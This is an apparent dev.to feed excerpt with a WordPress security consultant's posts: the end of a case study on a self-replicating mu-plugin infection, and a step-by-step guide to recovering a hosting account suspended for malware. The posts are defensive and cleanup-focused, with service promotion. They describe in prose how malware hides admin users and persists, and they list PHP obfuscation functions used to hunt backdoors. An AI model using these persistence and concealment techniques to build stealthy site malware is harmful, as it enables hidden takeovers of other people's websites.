&lt;p&gt;The initial access vector in this case was a stolen FTP credential, recovered from a developer’s machine in a separate stealer-log dump. The attacker didn’t exploit a plugin vulnerability — they logged in and uploaded the file directly. Three controls would have prevented or contained it:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Disable file edits from the dashboard and disable PHP execution in &lt;code&gt;uploads&lt;/code&gt;&lt;/strong&gt;. Walk-through in my guide on &lt;a href="https://www.mdpabel.com/blog/how-to-secure-a-wordpress-site/" rel="noopener noreferrer"&gt;how to secure a WordPress site&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Lock down the mu-plugins folder.&lt;/strong&gt; If you don’t use mu-plugins, set the folder permissions so the web server can’t write to it. An attacker uploading a single plugin file is annoying; a self-replicating mu-plugin is a full takeover.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Rotate FTP/SFTP passwords on a schedule and use SSH keys instead of passwords where possible.&lt;/strong&gt; The hosting access path is still the most common breach vector in the cases I take on.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Outcome and timeline
&lt;/h2&gt;

&lt;p&gt;The cleanup took just under three hours from access to verified-clean. Bitdefender stopped flagging the domain within 48 hours of submission. The client’s user list re-appeared correctly in the dashboard as soon as the mu-plugin was removed. No SEO impact: because the malware was injecting a tracking/data-collection JavaScript rather than spam content or redirects, Google had not yet picked it up.&lt;/p&gt;

&lt;p&gt;This is the kind of infection where catching it early — at the antivirus-warning stage, before it shifted into pharma spam or full SEO poisoning — saves weeks of search-console recovery work. If a visitor ever tells you their browser warned them about your site, take it seriously even if every WordPress-side scanner says clean.&lt;/p&gt;

&lt;h2&gt;
  
  
  Need the same kind of cleanup?
&lt;/h2&gt;

&lt;p&gt;If your site is being flagged by Bitdefender, Norton, McAfee, or another endpoint antivirus — or if your WordPress Users screen is showing “No users found” while clearly having users — you’re looking at the same family of attack documented above. I’ve cleaned over 4,500 WordPress sites and handle infections like this one as part of my standard &lt;a href="https://www.mdpabel.com/wordpress-malware-removal/" rel="noopener noreferrer"&gt;WordPress malware removal service&lt;/a&gt;. If a blacklist has already kicked in, the &lt;a href="https://www.mdpabel.com/blacklist-removal/" rel="noopener noreferrer"&gt;blacklist removal service&lt;/a&gt; covers Bitdefender, Norton, McAfee, and Google Safe Browsing in one engagement.&lt;/p&gt;

&lt;p&gt;You can &lt;a href="https://www.mdpabel.com/hire-me/" rel="noopener noreferrer"&gt;hire me directly&lt;/a&gt; for a same-day cleanup, or read more cleanup case studies in the &lt;a href="https://www.mdpabel.com/case-studies/" rel="noopener noreferrer"&gt;case studies archive&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  FAQ
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Why does my WordPress Users page show “No users found” when I clearly have users?
&lt;/h3&gt;

&lt;p&gt;The most common cause is malware using the &lt;code&gt;pre_user_query&lt;/code&gt; WordPress hook to inject a SQL clause that filters users out of the dashboard list. The accounts still exist in the &lt;code&gt;wp_users&lt;/code&gt; database table — they’re just hidden from the admin UI. Run &lt;code&gt;wp user list&lt;/code&gt; over the command line or query &lt;code&gt;wp_users&lt;/code&gt; directly through phpMyAdmin to see what’s really there.&lt;/p&gt;

&lt;h3&gt;
  
  
  Is the Bitdefender warning on my WordPress site a false positive?
&lt;/h3&gt;

&lt;p&gt;It can be, but in my experience it usually isn’t when the warning specifically mentions “Online threat detected” or “Bitdefender blocked an online threat from your browser.” Bitdefender’s URL reputation engine is conservative and rarely flags clean WordPress sites. Before submitting a false-positive request, audit your mu-plugins folder, your &lt;code&gt;wp_options&lt;/code&gt; table, and your outbound network connections. If you find anything unexpected in any of those three places, treat the warning as real.&lt;/p&gt;

&lt;h3&gt;
  
  
  What is the &lt;code&gt;mu-plugins&lt;/code&gt; folder and why do hackers target it?
&lt;/h3&gt;

&lt;p&gt;The &lt;code&gt;wp-content/mu-plugins/&lt;/code&gt; directory holds Must-Use plugins — PHP files that WordPress auto-loads on every request and that cannot be deactivated from the admin dashboard. Attackers love it because files there execute on every page load, don’t appear in the standard Plugins screen, and survive normal plugin deletions and theme switches. If you don’t use mu-plugins yourself, the folder should be empty or non-existent — anything inside it deserves immediate investigation.&lt;/p&gt;

&lt;h3&gt;
  
  
  I deleted the malicious plugin but it keeps coming back. How do I stop it?
&lt;/h3&gt;

&lt;p&gt;This malware family auto-replicates between &lt;code&gt;wp-content/plugins/&lt;/code&gt; and &lt;code&gt;wp-content/mu-plugins/&lt;/code&gt; — each copy recreates the other on the next page load. You need to delete both files at the same time, ideally with the site in maintenance mode so no request can re-trigger replication. Also rotate &lt;code&gt;AUTH_SALT&lt;/code&gt; in &lt;code&gt;wp-config.php&lt;/code&gt;, because the hidden admin’s username and password are derived from it.&lt;/p&gt;

&lt;h3&gt;
  
  
  Will rotating my WordPress salts log out my legitimate users?
&lt;/h3&gt;

&lt;p&gt;Yes, and that’s the point. Changing the keys and salts in &lt;code&gt;wp-config.php&lt;/code&gt; invalidates every existing login session, including any session the attacker may have established. Your legitimate users will need to log in again — a small inconvenience compared to leaving a compromised session active.&lt;/p&gt;

&lt;h2&gt;
  
  
  About the author
&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;Last updated: May 19, 2026 by &lt;a href="https://www.mdpabel.com/about/" rel="noopener noreferrer"&gt;MD Pabel&lt;/a&gt;, WordPress Security Specialist. Over 4,500 hacked WordPress sites cleaned. Specialising in stealth malware, hidden admin user removal, and blacklist recovery across Google, Norton, McAfee, and Bitdefender.&lt;/em&gt;&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Hosting Account Suspended for Malware? The Complete Recovery Playbook (Bluehost, SiteGround, Hostinger &amp;#038; More)</title>
      <dc:creator>MD Pabel</dc:creator>
      <pubDate>Sun, 17 May 2026 03:00:20 +0000</pubDate>
      <link>https://dev.to/md_pabel_fe07e07449db7326/hosting-account-suspended-for-malware-the-complete-recovery-playbook-bluehost-siteground-4a59</link>
      <guid>https://dev.to/md_pabel_fe07e07449db7326/hosting-account-suspended-for-malware-the-complete-recovery-playbook-bluehost-siteground-4a59</guid>
      <description>&lt;p&gt;You opened your laptop, typed your domain, and instead of your site you got a page screaming &lt;strong&gt;“This Account Has Been Suspended”&lt;/strong&gt; — or “This site is currently unavailable” on SiteGround, or “Hosting plan is suspended” on Hostinger. Your host pulled the plug. And in most of these cases, the trigger isn’t a missed invoice. It’s malware. I’ve cleaned more than 4,500 hacked WordPress sites, and a sizable chunk of them came to me &lt;em&gt;after&lt;/em&gt; the host had already suspended the account. The recovery process is very different from a normal malware cleanup — you’re racing against deletion timers, you have to talk to an abuse team that doesn’t trust you yet, and any wrong move can get your account terminated for good. This is the playbook.&lt;/p&gt;

&lt;h3&gt;
  
  
  Quick Answer (TL;DR)
&lt;/h3&gt;

&lt;p&gt;If your hosting account is suspended for malware, do these six things in this order: &lt;strong&gt;(1)&lt;/strong&gt; Open your host’s billing/cPanel area to confirm the suspension reason. &lt;strong&gt;(2)&lt;/strong&gt; Open the abuse ticket they sent and download the list of infected file paths. &lt;strong&gt;(3)&lt;/strong&gt; Ask support to whitelist your IP so you can access the site via SFTP and/or phpMyAdmin (most hosts will do this). &lt;strong&gt;(4)&lt;/strong&gt; Take a full backup before touching anything. &lt;strong&gt;(5)&lt;/strong&gt; Remove every flagged file, scan for backdoors that &lt;em&gt;weren’t&lt;/em&gt; in the list, patch the original entry point, and rotate all credentials. &lt;strong&gt;(6)&lt;/strong&gt; Reply to the ticket with a clean scan report and a written explanation of what was fixed — never just say “it’s clean now.” Hosts re-suspend accounts that come back too fast with no evidence.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Don’t request reactivation until the site is genuinely clean.&lt;/strong&gt; A failed re-scan by the host is the single fastest way to get permanently terminated.&lt;/p&gt;

&lt;h2&gt;
  
  
  What “This Account Has Been Suspended” Actually Means
&lt;/h2&gt;

&lt;p&gt;When a hosting provider suspends an account, they stop serving your website at the web-server level. The DNS still resolves to your hosting IP, but instead of routing the request to your WordPress install, the server returns a static suspension page. Your files &lt;strong&gt;are not deleted&lt;/strong&gt; — yet. They sit on disk, frozen, until the abuse team or billing team marks the account as resolved. The exact wording on that page depends on the hosting stack. cPanel-based hosts (Bluehost, HostGator, Namecheap shared, A2, many resellers) show the classic “This Account has been Suspended” page served from &lt;code&gt;/cgi-sys/suspendedpage.cgi&lt;/code&gt;. SiteGround shows a rain cloud illustration with “This site is currently unavailable.” Hostinger shows a pink “Hosting plan is suspended” banner inside hPanel. WP Engine and Kinsta send you to a maintenance-style page through their custom stacks. &lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Floamb137nuecaysb07db.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Floamb137nuecaysb07db.png" alt="Your account has been suspended" width="800" height="324"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  What does &lt;code&gt;/cgi-sys/suspendedpage.cgi&lt;/code&gt; mean?
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;suspendedpage.cgi&lt;/code&gt; is a built-in cPanel/WHM script that displays a default suspension page to every visitor. The path &lt;code&gt;/cgi-sys/suspendedpage.cgi&lt;/code&gt; in the browser address bar is not from your WordPress site — it’s the cPanel server intercepting the request before WordPress ever loads. If you see that URL, your host is using cPanel and has explicitly run the “Suspend Account” action against your username. Only the hosting company can clear it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why Malware Is the Most Likely Cause (Even If the Page Doesn’t Say So)
&lt;/h2&gt;

&lt;h2&gt;
  
  
  The suspension page is deliberately vague. Hosts don’t broadcast malware details on a public URL because it would tip off attackers and embarrass you. The real reason lives in a ticket or email — usually titled something like “Account suspended – Malicious content detected,” “Abuse notification,” “AUP violation – Malware,” or “Urgent: action required on your hosting account.” In the cleanups I’ve done after a hosting suspension, the trigger usually falls into one of these categories:
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;SEO spam / Japanese keyword hack&lt;/strong&gt; generating tens of thousands of cloaked pages and burning CPU. See my &lt;a href="https://dev.to/md_pabel_fe07e07449db7326/japanese-keyword-hack-the-complete-guide-to-detection-removal-038-prevention-in-2025-4p0b"&gt;Japanese keyword hack guide&lt;/a&gt; for what the host actually sees in your error logs.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;PHP webshells and backdoors&lt;/strong&gt; — files like &lt;code&gt;wp-tmp.php&lt;/code&gt;, &lt;code&gt;radio.php&lt;/code&gt;, files with names that look legitimate (&lt;code&gt;wp-blog-header.php&lt;/code&gt; dropped in the wrong folder) or with random eight-letter names in &lt;code&gt;/wp-content/uploads/&lt;/code&gt;. Hosts run YARA/ClamAV signatures and flag these on contact.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;JavaScript redirect malware&lt;/strong&gt; sending mobile users to scam landing pages. Hosts catch this via abuse reports from visitors or from Google Safe Browsing notifications forwarded to them.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Outbound spam from a compromised wp-mail setup&lt;/strong&gt; — your site is now part of a botnet sending phishing email, and the host’s mail logs lit up like a Christmas tree.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Phishing pages&lt;/strong&gt; — hackers drop a fake Microsoft/PayPal/banking login form inside a deep folder. One &lt;a href="https://www.phishtank.com/" rel="noopener noreferrer"&gt;PhishTank&lt;/a&gt; report and the host suspends you within hours.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Excessive resource usage&lt;/strong&gt; caused by malware — the malware itself isn’t the citation, the CPU/inode/IO bill is, but the underlying cause is still a hacked site.&lt;br&gt;
If your suspension email mentions &lt;em&gt;any&lt;/em&gt; of those terms — “malicious file,” “abuse report,” “phishing,” “spam complaint,” “malware signature,” “abuse@” — you are dealing with a security incident, not a billing problem. Treat it that way.&lt;/p&gt;
&lt;h2&gt;
  
  
  Decoding the Suspension Page by Host
&lt;/h2&gt;

&lt;p&gt;Different hosts behave very differently after a suspension. Knowing your host’s playbook is half the battle. Here’s what I’ve seen across hundreds of suspensions.&lt;/p&gt;
&lt;h3&gt;
  
  
  Bluehost (cPanel)
&lt;/h3&gt;

&lt;p&gt;Bluehost is the most aggressive of the mainstream shared hosts. They suspend on the first confirmed malware hit and the suspension page lives at &lt;code&gt;/cgi-sys/suspendedpage.cgi&lt;/code&gt;. They will email you a list of infected file paths, often hundreds of lines long. The cPanel itself usually remains accessible at &lt;code&gt;yourdomain.com/cpanel&lt;/code&gt; or &lt;code&gt;my.bluehost.com&lt;/code&gt;, so you can still get into File Manager and phpMyAdmin while the public site is down. I’ve documented a real Bluehost suspension recovery in &lt;a href="https://www.mdpabel.com/blog/wordpress-malware-case-study-removing-hidden-executable-files-after-a-bluehost-account-suspension/" rel="noopener noreferrer"&gt;this case study about hidden executable files&lt;/a&gt;, and a full account restoration in &lt;a href="https://dev.to/md_pabel_fe07e07449db7326/bluehost-wordpress-site-hacked-how-i-recovered-an-account-with-1162-infected-files-and-a-403-2fh8-temp-slug-227222"&gt;this Bluehost recovery case study&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;
  
  
  SiteGround
&lt;/h3&gt;

&lt;p&gt;SiteGround shows the “This site is currently unavailable” rain-cloud page. They are far less trigger-happy — they tend to &lt;em&gt;quarantine&lt;/em&gt; the site rather than nuke access, and the User Area stays usable so you can pull a backup, run their Site Scanner, and use SFTP. They will whitelist your IP on request via chat. SiteGround’s malware policy is documented and predictable. I recommend them to clients for that reason — I explained why in my &lt;a href="https://dev.to/md_pabel_fe07e07449db7326/siteground-review-why-it8217s-my-1-hosting-recommendation-after-4500-site-cleanups-46j7"&gt;SiteGround review&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;
  
  
  &lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F614i6fqdq2ag70e7zdf2.webp" alt="This site is currently unavailable" width="700" height="363"&gt;
&lt;/h3&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Hostinger
&lt;/h3&gt;

&lt;p&gt;Hostinger’s hPanel shows a pink “Hosting plan is suspended – Contact us” banner on the affected site card. The rest of your hPanel still works. Their abuse team replies through the live chat widget; they usually share a JSON or CSV file with the list of detected malicious files and the timestamps they were last modified. Hostinger gives you a fixed window (typically 7 days) to clean before they delete data.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwxhd1cpffuq89o007329.jpg" alt="Hosting plan is suspended" width="648" height="173"&gt;
&lt;/h3&gt;

&lt;h3&gt;
  
  
  HostGator, Namecheap Shared, A2, InMotion
&lt;/h3&gt;

&lt;p&gt;All cPanel-based, all serve the standard &lt;code&gt;/cgi-sys/suspendedpage.cgi&lt;/code&gt;. Behavior varies by reseller — some keep cPanel open, some kill the whole account login. Always start with chat support to get cPanel access restored under a “cleanup window.”&lt;/p&gt;

&lt;h3&gt;
  
  
  GoDaddy
&lt;/h3&gt;

&lt;p&gt;GoDaddy’s suspension flow goes through their “Sucuri-by-GoDaddy” or “Express Malware Removal” upsell. They will quote you a price to clean the site for you. You’re not obligated to take that path — you can request a self-clean window. Document everything in the ticket, because GoDaddy abuse reps rotate and context gets lost between handoffs.&lt;/p&gt;

&lt;h3&gt;
  
  
  WP Engine, Kinsta, Cloudways (managed WP)
&lt;/h3&gt;

&lt;p&gt;Managed WordPress hosts rarely “suspend” in the cPanel sense — they put the site into maintenance/staging mode or take it offline behind a holding page. They almost always include cleanup in their support, though they may charge extra for emergency response. SSH/SFTP access usually stays open.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step-by-Step: Getting Unsuspended Without Getting Re-Suspended
&lt;/h2&gt;

&lt;p&gt;This is the sequence I follow on every suspended-account cleanup. Skipping steps is how you end up permanently terminated.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1 — Read the abuse ticket carefully (don’t skim)
&lt;/h3&gt;

&lt;p&gt;The abuse ticket has three things you need: the suspension reason, the list of file paths the scanner flagged, and the deletion deadline. Save a copy of the email and the file list locally before doing anything. If the list is missing, reply and ask: “Please send the full list of files flagged by your security scanner, including paths, timestamps, and the signature name (e.g., &lt;code&gt;php.malware.backdoor.generic&lt;/code&gt;).”&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2 — Request IP whitelisting and a cleanup window
&lt;/h3&gt;

&lt;p&gt;You can’t fix what you can’t reach. Most hosts will whitelist your public IP so you can access the suspended site for cleanup. Use this exact wording — it works because it tells the abuse team you understand the protocol:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Support ticket template:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;“Hi, account [USERNAME] for [DOMAIN] was suspended for malware on [DATE]. I have received the abuse ticket and the file list. I am the account owner and I will clean the site myself. Please whitelist my IP [YOUR.PUBLIC.IP] so I can access cPanel/SFTP/phpMyAdmin, and confirm the deadline for re-scan. I will reply to this ticket with a post-cleanup report before requesting reactivation. Thanks.”&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3 — Take a full backup before you touch anything
&lt;/h3&gt;

&lt;p&gt;Yes, even when the site is hacked. You need the dirty backup for two reasons: forensics (so you can study which entry point was used) and rollback safety (so you don’t accidentally delete a “malicious” file the host flagged as a false positive — it happens). Pull a full file zip and a database dump via SSH or File Manager. If you need a refresher, my &lt;a href="https://www.mdpabel.com/blog/how-to-back-up-your-wordpress-site-with-updraftplus-step-by-step-guide-2025/" rel="noopener noreferrer"&gt;UpdraftPlus backup guide&lt;/a&gt; walks through it.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 4 — Process the host’s file list properly
&lt;/h3&gt;

&lt;h2&gt;
  
  
  Don’t just bulk-delete the list. For each flagged path: open it, confirm it’s actually malicious (compare to a fresh WordPress install for core files, compare to the original plugin/theme zip for plugin/theme files), then either remove or replace. Most lists fall into three buckets:
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Pure malware drops&lt;/strong&gt; — files that shouldn’t exist. Delete.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Infected core/plugin/theme files&lt;/strong&gt; — replace with the original from the WordPress repo or the vendor.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Database injections&lt;/strong&gt; — usually in &lt;code&gt;wp_options&lt;/code&gt; (rogue rows in &lt;code&gt;active_plugins&lt;/code&gt;, &lt;code&gt;siteurl&lt;/code&gt; overrides), &lt;code&gt;wp_posts&lt;/code&gt; (spam content), and &lt;code&gt;wp_users&lt;/code&gt; (hidden admins). My guide on &lt;a href="https://dev.to/md_pabel_fe07e07449db7326/wordpress-hidden-admin-user-how-to-detect-and-remove-it-permanently-real-code-real-cleanup-1cod"&gt;finding hidden admin users&lt;/a&gt; covers the user-table angle.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Step 5 — Find the backdoors the host’s scanner missed
&lt;/h3&gt;

&lt;p&gt;This is the step that separates a permanent fix from a 48-hour re-suspension. Host-side scanners catch maybe 60–80% of what’s there. They miss heavily obfuscated webshells, sleeper backdoors with no signature, and database-resident malware. If you only delete what the host listed, the attacker walks back in within hours through a backdoor that was never flagged, the site gets re-infected, the host re-scans, and you’re suspended again — this time with much less goodwill from the abuse team. Run a manual hunt across &lt;code&gt;wp-content/uploads/&lt;/code&gt;, &lt;code&gt;wp-content/plugins/&lt;/code&gt;, and the WordPress root. Look for recently modified PHP files in folders that shouldn’t have PHP at all (the uploads folder), files with random names, files with &lt;code&gt;base64_decode&lt;/code&gt;, &lt;code&gt;gzinflate&lt;/code&gt;, &lt;code&gt;eval&lt;/code&gt;, &lt;code&gt;str_rot13&lt;/code&gt;, or &lt;code&gt;assert&lt;/code&gt; in unusual contexts. I cover this in depth in &lt;a href="https://dev.to/md_pabel_fe07e07449db7326/obfuscated-php-malware-in-wordpress-how-to-recognize-decode-and-remove-it-with-real-samples-2pac-temp-slug-5508012"&gt;my obfuscated PHP malware detection guide&lt;/a&gt; and &lt;a href="https://dev.to/md_pabel_fe07e07449db7326/i-found-a-hidden-8220backdoor8221-in-a-clients-wordpress-site-5g0m"&gt;this writeup on a hidden backdoor I found in a client’s site&lt;/a&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 6 — Patch the entry point, not just the symptom
&lt;/h3&gt;

&lt;p&gt;If you don’t fix how they got in, they get back in. The usual entry points: an outdated plugin with a known vulnerability, a nulled theme, a leaked admin password, exposed &lt;code&gt;wp-config.php&lt;/code&gt; from a public backup, or cross-site contamination from another infected site on the same hosting account. Identify it, close it, then rotate every credential the site touches — WordPress admin users, database password, SFTP password, hosting account password, and any API keys in &lt;code&gt;wp-config.php&lt;/code&gt; or &lt;code&gt;.env&lt;/code&gt;. This is the step most owners skip, which is why I wrote &lt;a href="https://dev.to/md_pabel_fe07e07449db7326/why-wordpress-malware-keeps-coming-back-and-how-to-stop-it-forever-4953"&gt;“Why WordPress malware keeps coming back.”&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 7 — Reply to the ticket with proof, then request reactivation
&lt;/h3&gt;

&lt;p&gt;This is where most owners blow it. They reply “all clean, please reactivate,” the host re-scans, finds the missed backdoor, and slams the door shut. Instead, send a structured report:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;ol&gt;
&lt;li&gt;Confirmation that every file on their list was removed or replaced (one-line per file is fine).&lt;/li&gt;
&lt;/ol&gt;&lt;/li&gt;
&lt;li&gt;&lt;ol&gt;
&lt;li&gt;A summary of additional backdoors you found and removed that &lt;em&gt;weren’t&lt;/em&gt; on their list.&lt;/li&gt;
&lt;/ol&gt;&lt;/li&gt;
&lt;li&gt;&lt;ol&gt;
&lt;li&gt;A statement of the entry point you patched (e.g., “Outdated [plugin name] 1.4.2 upgraded to 1.5.7; CVE-XXXX patched”).&lt;/li&gt;
&lt;/ol&gt;&lt;/li&gt;
&lt;li&gt;&lt;ol&gt;
&lt;li&gt;A clean scan report — Wordfence, Sucuri SiteCheck, or the host’s own scanner.&lt;/li&gt;
&lt;/ol&gt;&lt;/li&gt;
&lt;li&gt;&lt;ol&gt;
&lt;li&gt;A short “future prevention” line (WAF enabled, 2FA on admins, backups configured).
That report converts the abuse team from skeptic to ally. Reactivation usually happens within hours instead of days.
## The Hidden Trap Most Posts Don’t Mention: Premature Reactivation Requests
Every hosting abuse team gets the same volume of “it’s clean now, please reactivate” replies that are obviously not clean. Their scanners catch this on re-scan, and from that point you are flagged as a high-risk account. A second strike usually means a much longer suspension window and a real conversation about termination. On Bluehost, I’ve seen accounts go straight to “30 days to migrate, then deletion” after a botched re-scan. The rule is: &lt;strong&gt;never ask for reactivation until you can pass the host’s scan yourself.&lt;/strong&gt; Most cPanel hosts run ImunifyAV or similar tools and let you re-scan from cPanel before submitting. Use that. If you don’t have access, run Wordfence + a fresh manual file integrity check against the WordPress.org checksums and only then submit.
## When the Malware Keeps Reappearing After You Clean It
Some infections regenerate. You delete a file, refresh, and it’s back. This is a sign of a persistence mechanism — a hidden cron job, a watchdog process, a “regenerator” hook in a database option, or a compromised must-use plugin. If that’s happening, stop deleting files in a loop and isolate the regenerator first. I documented one of these in &lt;a href="https://dev.to/md_pabel_fe07e07449db7326/case-study-how-i-removed-regenerating-wordpress-malware-disguised-as-system-control-mm8"&gt;the regenerating WordPress malware case study&lt;/a&gt; and another in &lt;a href="https://dev.to/md_pabel_fe07e07449db7326/how-i-stopped-wp-blog-headerphp-regenerate-malware-in-wordpress-after-wordfence-missed-the-real-401i"&gt;the wp-blog-header.php regeneration case&lt;/a&gt;. Hosts will not be patient with a site that re-infects itself during a cleanup window — find the regenerator, kill it, then resume.
## If Your Host Has Already Deleted the Account
Worst case: deadline passed, you didn’t act, account is gone. Your options shrink fast but they’re not zero:&lt;/li&gt;
&lt;/ol&gt;&lt;/li&gt;
&lt;li&gt;&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Ask for a final backup&lt;/strong&gt;. Many hosts keep a short window (7–30 days) of internal backups even after deletion. Open a billing ticket and request a one-time data export. It’s not advertised but it often works.&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Check your own backups&lt;/strong&gt; — UpdraftPlus to Google Drive, All-in-One WP Migration files, server snapshot from a managed host, or even an old staging copy. Any of these can be the seed for a rebuild.&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Reconstruct from Google’s cache and the Wayback Machine&lt;/strong&gt; for content; the database and theme can be partially rebuilt this way if you have nothing else.&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Move to a different host before restoring&lt;/strong&gt; — if the old host terminated for AUP violation, restoring on the same account is usually blocked. Restore on a clean account, clean the backup as you go.&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Preventing the Next Suspension
&lt;/h2&gt;

&lt;h2&gt;
  
  
  Once you’re back online, the work isn’t done. Hosts watch reinstated accounts more closely than first-time ones. Burn through this checklist:
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Update WordPress core, every plugin, every theme — even the ones you don’t use, then delete the unused ones.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Remove any nulled or pirated plugins/themes. They are the #1 source of repeat infections; see &lt;a href="https://dev.to/md_pabel_fe07e07449db7326/nulled-wordpress-plugins-amp-themes-the-security-risks-behind-free-premium-tools-a9b-temp-slug-6859103"&gt;the risks of nulled plugins&lt;/a&gt;.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Enable 2FA on every WordPress admin. Force a password reset for all users with publishing rights.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Install a security plugin with file integrity monitoring (Wordfence, Solid Security, or Sucuri).&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Set up automatic off-site backups — daily for active sites — to a separate provider than the host. If your host deletes you, an on-host backup won’t help.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Tighten file permissions (&lt;code&gt;644&lt;/code&gt; files, &lt;code&gt;755&lt;/code&gt; folders, &lt;code&gt;440&lt;/code&gt; on &lt;code&gt;wp-config.php&lt;/code&gt; where allowed).&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Disable PHP execution in &lt;code&gt;/wp-content/uploads/&lt;/code&gt; via &lt;code&gt;.htaccess&lt;/code&gt; or NGINX rules. This single change kills most uploaded webshells.&lt;br&gt;
For the full post-cleanup checklist I use on every recovered site, see &lt;a href="https://dev.to/md_pabel_fe07e07449db7326/what-to-do-after-fixing-a-hacked-wordpress-site-the-72-hour-verification-protocol-from-4500-2c8m-temp-slug-7327467"&gt;“What to do after fixing a hacked WordPress site.”&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  FAQ
&lt;/h2&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  How long does a malware suspension last?
&lt;/h3&gt;

&lt;p&gt;From a few hours to indefinitely. If you respond fast with a clean re-scan, most hosts reactivate within 2–24 hours. If you ignore the ticket, the typical window before account deletion is 7–30 days depending on the provider.&lt;/p&gt;

&lt;h3&gt;
  
  
  Can I just move to a new host instead of cleaning?
&lt;/h3&gt;

